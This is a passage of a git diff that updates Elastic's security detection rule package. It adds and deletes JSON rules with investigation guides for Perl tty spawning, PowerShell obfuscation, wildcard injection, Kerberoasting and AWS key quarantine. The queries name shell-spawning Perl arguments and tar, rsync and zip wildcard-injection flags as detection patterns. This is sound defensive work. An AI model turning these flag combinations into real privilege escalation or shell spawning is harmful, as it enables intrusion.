diff --git a/packages/security_detection_engine/changelog.yml b/packages/security_detection_engine/changelog.yml index 512ce93e338..1cf9e380353 100644 --- a/packages/security_detection_engine/changelog.yml +++ b/packages/security_detection_engine/changelog.yml @@ -1,5 +1,10 @@ # newer versions go on top # NOTE: please use pre-release versions (e.g. -beta.0) until a package is ready for production +- version: 8.19.11-beta.1 + changes: + - description: Release security rules update + type: enhancement + link: https://github.com/elastic/integrations/pull/16099 - version: 8.19.10 changes: - description: Release security rules update diff --git a/packages/security_detection_engine/kibana/security_rule/05e5a668-7b51-4a67-93ab-e9af405c9ef3_109.json b/packages/security_detection_engine/kibana/security_rule/05e5a668-7b51-4a67-93ab-e9af405c9ef3_109.json deleted file mode 100644 index c84879a6efb..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/05e5a668-7b51-4a67-93ab-e9af405c9ef3_109.json +++ /dev/null @@ -1,87 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies when a terminal (tty) is spawned via Perl. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host.", - "from": "now-9m", - "index": [ - "auditbeat-*", - "logs-endpoint.events.*", - "endgame-*" - ], - "language": "kuery", - "license": "Elastic License v2", - "name": "Interactive Terminal Spawned via Perl", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Interactive Terminal Spawned via Perl\n\nPerl, a versatile scripting language, can execute system commands, making it a target for adversaries seeking to escalate privileges or maintain persistence. Attackers may exploit Perl to spawn interactive terminals, transforming basic shells into robust command interfaces. The detection rule identifies such activity by monitoring process events on Linux systems, specifically when Perl executes shell commands, signaling potential misuse.\n\n### Possible investigation steps\n\n- Review the process event logs to confirm the presence of a Perl process with arguments indicating the execution of a shell, such as \"exec \\\"/bin/sh\\\";\", \"exec \\\"/bin/dash\\\";\", or \"exec \\\"/bin/bash\\\";\".\n- Identify the user account associated with the Perl process to determine if it aligns with expected activity or if it suggests unauthorized access.\n- Examine the parent process of the Perl execution to understand how the Perl script was initiated and assess if it correlates with legitimate user activity or a potential compromise.\n- Check for any network connections or data transfers initiated by the Perl process to identify possible exfiltration or communication with external command and control servers.\n- Investigate any recent changes to user accounts, permissions, or scheduled tasks that might indicate privilege escalation or persistence mechanisms associated with the Perl activity.\n- Correlate the event with other security alerts or logs from the same host to identify patterns or additional indicators of compromise that could suggest a broader attack campaign.\n\n### False positive analysis\n\n- System maintenance scripts that use Perl to execute shell commands may trigger this rule. Review and whitelist known maintenance scripts by adding exceptions for specific script paths or process arguments.\n- Automated deployment tools that utilize Perl for executing shell commands can cause false positives. Identify these tools and exclude their specific process arguments or execution paths from the detection rule.\n- Development environments where Perl is used for testing or debugging purposes might inadvertently spawn interactive terminals. Consider excluding processes initiated by known development user accounts or within specific development directories.\n- Backup or monitoring scripts that rely on Perl to perform system checks or data collection could be flagged. Analyze these scripts and create exceptions based on their unique process arguments or execution context.\n\n### Response and remediation\n\n- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement.\n- Terminate any suspicious Perl processes identified by the detection rule to halt any ongoing malicious activity.\n- Conduct a thorough review of the affected system's logs and process history to identify any additional indicators of compromise or related malicious activity.\n- Reset credentials and review access permissions for any accounts that may have been compromised or used in the attack.\n- Restore the affected system from a known good backup to ensure any malicious changes are removed.\n- Implement additional monitoring on the affected host and network to detect any further attempts to exploit Perl for spawning interactive terminals.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist.", - "query": "event.category:process and host.os.type:linux and event.type:(start or process_started) and process.name:perl and\n process.args:(\"exec \\\"/bin/sh\\\";\" or \"exec \\\"/bin/dash\\\";\" or \"exec \\\"/bin/bash\\\";\")\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.category", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - } - ], - "risk_score": 73, - "rule_id": "05e5a668-7b51-4a67-93ab-e9af405c9ef3", - "setup": "## Setup\n\nThis rule requires data coming in from one of the following integrations:\n- Elastic Defend\n- Auditbeat\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n\n### Auditbeat Setup\nAuditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations.\n\n#### The following steps should be executed in order to add the Auditbeat on a Linux System:\n- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages.\n- To install the APT and YUM repositories follow the setup instructions in this [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html).\n- To run Auditbeat on Docker follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html).\n- To run Auditbeat on Kubernetes follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html).\n- For complete \u201cSetup and Run Auditbeat\u201d information refer to the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html).\n", - "severity": "high", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Execution", - "Data Source: Elastic Endgame", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "query", - "version": 109 - }, - "id": "05e5a668-7b51-4a67-93ab-e9af405c9ef3_109", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/083383af-b9a4-42b7-a463-29c40efe7797_1.json b/packages/security_detection_engine/kibana/security_rule/083383af-b9a4-42b7-a463-29c40efe7797_1.json deleted file mode 100644 index 5841a9abf0e..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/083383af-b9a4-42b7-a463-29c40efe7797_1.json +++ /dev/null @@ -1,79 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies PowerShell scripts that use concatenated strings within dynamic command invocation (&() or .()) as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential PowerShell Obfuscation via Concatenated Dynamic Command Invocation", - "query": "FROM logs-windows.powershell_operational* metadata _id, _version, _index\n| WHERE event.code == \"4104\" and powershell.file.script_block_text LIKE \"*+*\"\n\n// Replace string format expressions with \ud83d\udd25 to enable counting the occurrence of the patterns we are looking for\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| EVAL replaced_with_fire = REPLACE(powershell.file.script_block_text, \"\"\"[.&]\\(\\s*(['\"][A-Za-z0-9.-]+['\"]\\s*\\+\\s*)+['\"][A-Za-z0-9.-]+['\"]\\s*\\)\"\"\", \"\ud83d\udd25\")\n\n// Count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| EVAL count = LENGTH(replaced_with_fire) - LENGTH(REPLACE(replaced_with_fire, \"\ud83d\udd25\", \"\"))\n\n// Keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| KEEP count, replaced_with_fire, powershell.file.script_block_text, powershell.file.script_block_id, file.path, powershell.sequence, powershell.total, _id, _index, host.name, agent.id, user.id\n| WHERE count >= 1\n", - "related_integrations": [ - { - "package": "windows", - "version": "^3.0.0" - } - ], - "risk_score": 21, - "rule_id": "083383af-b9a4-42b7-a463-29c40efe7797", - "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: PowerShell Logs" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "083383af-b9a4-42b7-a463-29c40efe7797_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0b2f3da5-b5ec-47d1-908b-6ebb74814289_219.json b/packages/security_detection_engine/kibana/security_rule/0b2f3da5-b5ec-47d1-908b-6ebb74814289_219.json new file mode 100644 index 00000000000..4e793264957 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/0b2f3da5-b5ec-47d1-908b-6ebb74814289_219.json @@ -0,0 +1,107 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects when a user account has the servicePrincipalName attribute modified. Attackers can abuse write privileges over a user to configure Service Principle Names (SPNs) so that they can perform Kerberoasting. Administrators can also configure this for legitimate purposes, exposing the account to Kerberoasting.", + "from": "now-9m", + "index": [ + "winlogbeat-*", + "logs-system.security*", + "logs-windows.forwarded*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "User account exposed to Kerberoasting", + "note": "## Triage and analysis\n\n### Investigating User account exposed to Kerberoasting\n\nService Principal Names (SPNs) are names by which Kerberos clients uniquely identify service instances for Kerberos target computers.\n\nBy default, only computer accounts have SPNs, which creates no significant risk, since machine accounts have a default domain policy that rotates their passwords every 30 days, and the password is composed of 120 random characters, making them invulnerable to Kerberoasting.\n\nA user account with an SPN assigned is considered a service account, and is accessible to the entire domain. If any user in the directory requests a ticket-granting service (TGS), the domain controller will encrypt it with the secret key of the account executing the service. An attacker can potentially perform a Kerberoasting attack with this information, as the human-defined password is likely to be less complex.\n\nFor scenarios where SPNs cannot be avoided on user accounts, Microsoft provides the Group Managed Service Accounts (gMSA) feature, which ensures that account passwords are robust and changed regularly and automatically. More information can be found [here](https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview).\n\nAttackers can also perform \"Targeted Kerberoasting\", which consists of adding fake SPNs to user accounts that they have write privileges to, making them potentially vulnerable to Kerberoasting.\n\n#### Possible investigation steps\n\n- Identify the user account that performed the action and whether it should perform this kind of action.\n- Contact the account owner and confirm whether they are aware of this activity.\n- Investigate if the target account is a member of privileged groups (Domain Admins, Enterprise Admins, etc.).\n- Investigate if tickets have been requested for the target account.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n\n### False positive analysis\n\n- The use of user accounts as service accounts is a bad security practice and should not be allowed in the domain. The security team should map and monitor any potential benign true positive (B-TP), especially if the account is privileged. Domain Administrators that define this kind of setting can put the domain at risk as user accounts don't have the same security standards as computer accounts (which have long, complex, random passwords that change frequently), exposing them to credential cracking attacks (Kerberoasting, brute force, etc.).\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. Prioritize privileged accounts.\n- Isolate the involved hosts to prevent further post-compromise behavior.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "event.code:5136 and host.os.type:\"windows\" and winlog.event_data.OperationType:\"%%14674\" and\n winlog.event_data.ObjectClass:\"user\" and\n winlog.event_data.AttributeLDAPDisplayName:\"servicePrincipalName\"\n", + "references": [ + "https://www.thehacker.recipes/ad/movement/access-controls/targeted-kerberoasting", + "https://www.qomplx.com/qomplx-knowledge-kerberoasting-attacks-explained/", + "https://www.thehacker.recipes/ad/movement/kerberos/kerberoast", + "https://attack.stealthbits.com/cracking-kerberos-tgs-tickets-using-kerberoasting", + "https://adsecurity.org/?p=280", + "https://github.com/OTRF/Set-AuditRule" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.AttributeLDAPDisplayName", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.ObjectClass", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.OperationType", + "type": "unknown" + } + ], + "risk_score": 47, + "rule_id": "0b2f3da5-b5ec-47d1-908b-6ebb74814289", + "setup": "## Setup\n\nThe 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure).\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nPolicies >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policies Configuration >\nAudit Policies >\nDS Access >\nAudit Directory Service Changes (Success,Failure)\n```\n\nThe above policy does not cover User objects, so set up an AuditRule using https://github.com/OTRF/Set-AuditRule.\nAs this specifies the servicePrincipalName Attribute GUID, it is expected to be low noise.\n\n```\nSet-AuditRule -AdObjectPath 'AD:\\CN=Users,DC=Domain,DC=com' -WellKnownSidType WorldSid -Rights WriteProperty -InheritanceFlags Children -AttributeGUID f3a64788-5306-11d1-a9c5-0000f80367c1 -AuditFlags Success\n```\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Data Source: Active Directory", + "Resources: Investigation Guide", + "Use Case: Active Directory Monitoring", + "Data Source: Windows Security Event Logs" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1558", + "name": "Steal or Forge Kerberos Tickets", + "reference": "https://attack.mitre.org/techniques/T1558/", + "subtechnique": [ + { + "id": "T1558.003", + "name": "Kerberoasting", + "reference": "https://attack.mitre.org/techniques/T1558/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 219 + }, + "id": "0b2f3da5-b5ec-47d1-908b-6ebb74814289_219", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0b79f5c0-2c31-4fea-86cd-e62644278205_5.json b/packages/security_detection_engine/kibana/security_rule/0b79f5c0-2c31-4fea-86cd-e62644278205_5.json new file mode 100644 index 00000000000..0a9a9b3897f --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/0b79f5c0-2c31-4fea-86cd-e62644278205_5.json @@ -0,0 +1,104 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the `CompromisedKeyQuarantine` or `CompromisedKeyQuarantineV2` AWS managed policies to an existing IAM user. This policy denies access to certain actions and is applied by the AWS team in the event that an IAM user's credentials have been compromised or exposed publicly.", + "false_positives": [ + "This is an intentional action taken by AWS in the event of compromised credentials. Follow the instructions specified in the support case created for you regarding this event." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters" + ] + }, + "language": "eql", + "license": "Elastic License v2", + "name": "AWS IAM CompromisedKeyQuarantine Policy Attached to User", + "note": "## Triage and analysis\n\n### Investigating AWS IAM CompromisedKeyQuarantine Policy Attached to User\n\nThe AWS IAM `CompromisedKeyQuarantine` and `CompromisedKeyQuarantineV2` managed policies deny certain action and is applied by the AWS team to a user with exposed credentials.\nThis action is accompanied by a support case which specifies instructions to follow before detaching the policy.\n\n#### Possible Investigation Steps\n\n- **Identify Potentially Compromised Identity**: Review the `userName` parameter of the `aws.cloudtrail.request_parameters` to determine the quarantined IAM entity.\n- **Contextualize with AWS Support Case**: Review any information from AWS comtaining additional information about the quarantined account and the reasoning for quarantine.\n- **Follow Support Case Instructions**: Do not revert the quarantine policy attachment or delete the compromised keys. Instead folow the instructions given in your support case.\n- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in potentially suspicious activities.\n- **Interview Relevant Personnel**: If the compromised key belongs to a user, verify the intent and authorization for these correlated actions with the person or team responsible for managing the compromised key.\n\n### False Positive Analysis\n\n- There shouldn't be many false positives related to this action as it is inititated by AWS in response to compromised or publicly exposed credentials.\n\n### Response and Remediation\n\n- **Immediate Review and Reversal**: Update the user IAM permissions to remove the quarantine policy and disable the compromised credentials.\n- **Policy Update**: Review and possibly update your organization\u2019s policies on credential storage to tighten control and prevent public exposure.\n- **Incident Response**: If malicious intent is confirmed, consider it a data breach incident and initiate the incident response protocol. This includes further investigation, containment, and recovery.\n\n### Additional Information:\n\nFor further guidance on managing and securing credentials in AWS environments, refer to the [AWS IAM User Guide](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html) regarding security best practices and guidance on [Remediating Potentially Compromised AWS Credentials](https://docs.aws.amazon.com/guardduty/latest/ug/compromised-creds.html).\n", + "query": "iam where event.dataset == \"aws.cloudtrail\"\n and event.action == \"AttachUserPolicy\"\n and event.outcome == \"success\"\n and stringContains(aws.cloudtrail.request_parameters, \"AWSCompromisedKeyQuarantine\")\n", + "references": [ + "https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantine.html/", + "https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantineV2.html/" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "aws.cloudtrail.request_parameters", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "0b79f5c0-2c31-4fea-86cd-e62644278205", + "severity": "high", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS IAM", + "Resources: Investigation Guide", + "Use Case: Identity and Access Audit", + "Tactic: Credential Access" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1552", + "name": "Unsecured Credentials", + "reference": "https://attack.mitre.org/techniques/T1552/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 5 + }, + "id": "0b79f5c0-2c31-4fea-86cd-e62644278205_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0b803267-74c5-444d-ae29-32b5db2d562a_108.json b/packages/security_detection_engine/kibana/security_rule/0b803267-74c5-444d-ae29-32b5db2d562a_108.json deleted file mode 100644 index a7682268b91..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/0b803267-74c5-444d-ae29-32b5db2d562a_108.json +++ /dev/null @@ -1,133 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule monitors for the execution of a set of linux binaries, that are potentially vulnerable to wildcard injection, with suspicious command line flags followed by a shell spawn event. Linux wildcard injection is a type of security vulnerability where attackers manipulate commands or input containing wildcards (e.g., *, ?, []) to execute unintended operations or access sensitive data by tricking the system into interpreting the wildcard characters in unexpected ways.", - "from": "now-9m", - "index": [ - "logs-endpoint.events.process*", - "logs-sentinel_one_cloud_funnel.*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Potential Shell via Wildcard Injection Detected", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Shell via Wildcard Injection Detected\n\nWildcard injection exploits vulnerabilities in Linux command-line utilities by manipulating wildcard characters to execute unauthorized commands. Adversaries leverage this to escalate privileges or execute arbitrary code. The detection rule identifies suspicious use of vulnerable binaries like `tar`, `rsync`, and `zip` followed by shell execution, indicating potential exploitation attempts.\n\n### Possible investigation steps\n\n- Review the process details to identify the specific command executed, focusing on the process name and arguments, especially those involving `tar`, `rsync`, or `zip` with suspicious flags like `--checkpoint=*`, `-e*`, or `--unzip-command`.\n- Examine the parent process information to determine if a shell process (e.g., `bash`, `sh`, `zsh`) was spawned, indicating potential exploitation.\n- Check the process execution path to ensure it does not match the exclusion pattern `/tmp/newroot/*`, which might indicate a benign operation.\n- Investigate the host's recent activity logs to identify any other suspicious or related events that might indicate a broader attack or compromise.\n- Correlate the alert with any other security events or alerts from the same host to assess if this is part of a larger attack pattern or campaign.\n- Assess the user account associated with the process execution to determine if it has the necessary privileges and if the activity aligns with expected behavior for that account.\n\n### False positive analysis\n\n- Legitimate use of tar, rsync, or zip with wildcard-related flags in automated scripts or backup processes can trigger false positives. Review the context of these processes and consider excluding specific scripts or directories from monitoring if they are verified as safe.\n- System administrators or maintenance scripts may use shell commands following tar, rsync, or zip for legitimate purposes. Identify these routine operations and create exceptions for known safe parent processes or specific command patterns.\n- Development environments or testing scenarios might involve intentional use of wildcard characters for testing purposes. Exclude these environments from the rule or adjust the rule to ignore specific user accounts or process paths associated with development activities.\n- Scheduled tasks or cron jobs that involve the use of these binaries with wildcard flags can be mistaken for malicious activity. Verify the legitimacy of these tasks and exclude them based on their schedule or specific command line arguments.\n- Security tools or monitoring solutions that simulate attacks for testing or validation purposes might trigger this rule. Ensure these tools are recognized and excluded from monitoring to prevent unnecessary alerts.\n\n### Response and remediation\n\n- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement.\n- Terminate any suspicious processes identified in the alert, particularly those involving the execution of shell commands following the use of `tar`, `rsync`, or `zip`.\n- Conduct a thorough review of the affected system's logs to identify any additional indicators of compromise or unauthorized access attempts.\n- Restore the affected system from a known good backup if any unauthorized changes or malicious activities are confirmed.\n- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited.\n- Implement file integrity monitoring on critical systems to detect unauthorized changes to system binaries or configuration files.\n- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network.", - "query": "sequence by host.id with maxspan=1s\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\") and (\n (process.name == \"tar\" and process.args : \"--checkpoint=*\" and process.args : \"--checkpoint-action=*\") or\n (process.name == \"rsync\" and process.args : \"-e*\") or\n (process.name == \"zip\" and process.args == \"--unzip-command\")\n ) and not process.executable : \"/tmp/newroot/*\"\n ] by process.entity_id\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\") and\n process.parent.name : (\"tar\", \"rsync\", \"zip\") and\n process.name : (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")\n ] by process.parent.entity_id\n", - "references": [ - "https://www.exploit-db.com/papers/33930" - ], - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - }, - { - "package": "sentinel_one_cloud_funnel", - "version": "^1.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.id", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.entity_id", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.executable", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.entity_id", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.name", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "0b803267-74c5-444d-ae29-32b5db2d562a", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Privilege Escalation", - "Tactic: Execution", - "Data Source: Elastic Defend", - "Data Source: SentinelOne", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0004", - "name": "Privilege Escalation", - "reference": "https://attack.mitre.org/tactics/TA0004/" - }, - "technique": [ - { - "id": "T1068", - "name": "Exploitation for Privilege Escalation", - "reference": "https://attack.mitre.org/techniques/T1068/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/" - } - ] - } - ], - "type": "eql", - "version": 108 - }, - "id": "0b803267-74c5-444d-ae29-32b5db2d562a_108", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0bca7e73-e1b5-4fb2-801b-9b5f5be20dfe_1.json b/packages/security_detection_engine/kibana/security_rule/0bca7e73-e1b5-4fb2-801b-9b5f5be20dfe_1.json new file mode 100644 index 